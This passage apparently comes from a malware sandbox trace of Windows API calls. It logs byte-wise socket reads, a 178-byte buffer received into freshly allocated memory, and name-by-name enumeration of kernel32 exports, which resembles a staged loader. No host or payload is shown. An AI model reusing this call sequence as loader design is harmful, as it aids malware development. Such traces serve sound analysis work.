buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8cb, len=1, flags=0 | out: buf=0x2e7f8cb*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8cc, len=1, flags=0 | out: buf=0x2e7f8cc*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8cd, len=1, flags=0 | out: buf=0x2e7f8cd*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8ce, len=1, flags=0 | out: buf=0x2e7f8ce*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8cf, len=1, flags=0 | out: buf=0x2e7f8cf*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d0, len=1, flags=0 | out: buf=0x2e7f8d0*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d1, len=1, flags=0 | out: buf=0x2e7f8d1*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d2, len=1, flags=0 | out: buf=0x2e7f8d2*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d3, len=1, flags=0 | out: buf=0x2e7f8d3*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d4, len=1, flags=0 | out: buf=0x2e7f8d4*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d5, len=1, flags=0 | out: buf=0x2e7f8d5*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d6, len=1, flags=0 | out: buf=0x2e7f8d6*) returned 1 [0108.927] recv (in: s=0x544, buf=0x2e7f8d7, len=1, flags=0 | out: buf=0x2e7f8d7*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8d8, len=1, flags=0 | out: buf=0x2e7f8d8*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8d9, len=1, flags=0 | out: buf=0x2e7f8d9*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8da, len=1, flags=0 | out: buf=0x2e7f8da*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8db, len=1, flags=0 | out: buf=0x2e7f8db*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8dc, len=1, flags=0 | out: buf=0x2e7f8dc*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8dd, len=1, flags=0 | out: buf=0x2e7f8dd*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8de, len=1, flags=0 | out: buf=0x2e7f8de*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8df, len=1, flags=0 | out: buf=0x2e7f8df*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8e0, len=1, flags=0 | out: buf=0x2e7f8e0*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8e1, len=1, flags=0 | out: buf=0x2e7f8e1*) returned 1 [0108.928] recv (in: s=0x544, buf=0x2e7f8e2, len=1, flags=0 | out: buf=0x2e7f8e2*) returned 1 [0108.928] StrToIntA (lpSrc="178") returned 178 [0108.928] VirtualAlloc (lpAddress=0x0, dwSize=0xb2, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0108.929] recv (in: s=0x544, buf=0x3b80000, len=178, flags=0 | out: buf=0x3b80000*) returned 178 [0108.929] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.929] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.929] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.930] closesocket (s=0x544) returned 0 [0108.930] WSACleanup () returned 0 [0108.930] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.930] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.931] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.931] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.931] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0108.932] lstrlenA (lpString="kernel32.dll") returned 12 [0108.932] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0108.932] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0108.932] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0108.932] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0108.932] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0108.932] lstrlenA (lpString="ADDATOMA") returned 8 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0108.932] lstrlenA (lpString="ADDATOMW") returned 8 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0108.932] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0108.932] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0108.933] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0108.933] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0108.933] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0108.933] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0108.933] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0108.933] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0108.933] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0108.933] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0108.933] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0108.933] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0108.933] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0108.933] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0108.933] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0108.933] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0108.933] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0108.933] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0108.934] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0108.934] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0108.934] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0108.934] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0108.934] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0108.934] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0108.934] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0108.934] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0108.934] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0108.934] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0108.934] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0108.934] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0108.934] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0108.934] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0108.934] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0108.934] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0108.934] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0108.935] lstrlenA (lpString="BACKUPREAD") returned 10 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0108.935] lstrlenA (lpString="BACKUPSEEK") returned 10 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0108.935] lstrlenA (lpString="BACKUPWRITE") returned 11 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0108.935] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0108.935] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0108.935] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0108.935] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0108.935] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0108.935] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0108.935] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0108.935] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0108.935] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0108.935] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0108.935] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0108.935] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0108.935] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0108.936] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0108.936] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0108.936] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0108.936] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0108.936] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0108.936] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0108.936] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0108.936] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0108.936] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0108.936] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0108.936] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0108.936] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0108.936] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0108.936] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0108.936] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0108.936] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0108.936] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0108.937] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0108.937] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0108.937] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0108.937] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0108.937] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0108.937] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0108.937] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0108.937] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0108.937] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0108.937] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0108.937] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0108.937] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0108.937] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0108.937] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0108.937] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0108.937] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0108.938] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0108.938] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0108.938] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0108.938] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0108.938] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0108.938] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0108.938] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0108.938] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0108.938] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0108.938] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0108.938] lstrcpyA (in: lpString1=0x2e7f298, 